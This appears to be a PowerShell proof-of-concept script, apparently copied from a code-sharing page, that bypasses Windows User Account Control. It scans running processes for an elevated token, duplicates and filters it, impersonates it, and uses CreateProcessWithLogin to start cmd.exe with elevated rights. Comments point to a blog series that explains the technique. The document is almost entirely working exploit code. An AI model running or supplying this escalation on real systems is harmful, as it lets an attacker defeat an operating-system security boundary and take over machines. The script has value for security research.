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# Powershell script to bypass UAC on Vista+ assuming | |
# there exists one elevated process on the same desktop. | |
# Technical details in: | |
# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html | |
# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html | |
# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html | |
# You need to Install-Module NtObjectManager for this to run. | |
Import-Module NtObjectManager | |
# Function to find the first accessible elevated token. | |
function Get-ElevatedToken { | |
Param([switch]$NoFilter) | |
$token = $null | |
while ($true) { | |
Write-Host "Checking for elevated processes" | |
$token = Use-NtObject($ps = Get-NtProcess) { | |
foreach($p in $ps) { | |
try { | |
$ret = Use-NtObject($token = Get-NtToken -Primary ` | |
-Process $p -Duplicate ` | |
-IntegrityLevel Medium) { | |
if ($token.Elevated) { | |
Write-Host "Found elevated token in process $p - Pid $($p.ProcessId)" | |
return $token.Duplicate() | |
} | |
} | |
if ($ret -ne $null) { | |
return $ret | |
} | |
} catch { | |
} | |
} | |
} | |
if ($token -ne $null) { | |
break | |
} | |
Start-Sleep -Seconds 1 | |
} | |
if (!$NoFilter) { | |
# Filter to remove elevated groups/privileges. | |
$token = Use-NtObject($token) { | |
Get-NtFilteredToken $token -Flags LuaToken | |
} | |
} | |
return $token | |
} | |
Use-NtObject($lua_token = Get-ElevatedToken) { | |
Use-NtObject($lua_token.Impersonate()) { | |
[SandboxAnalysisUtils.Win32Process]::CreateProcessWithLogin("Badger", "Badger", "Badger", | |
"NetCredentialsOnly", "cmd.exe", "cmd.exe", 0, "WinSta0\Default") | |
} | |
} |
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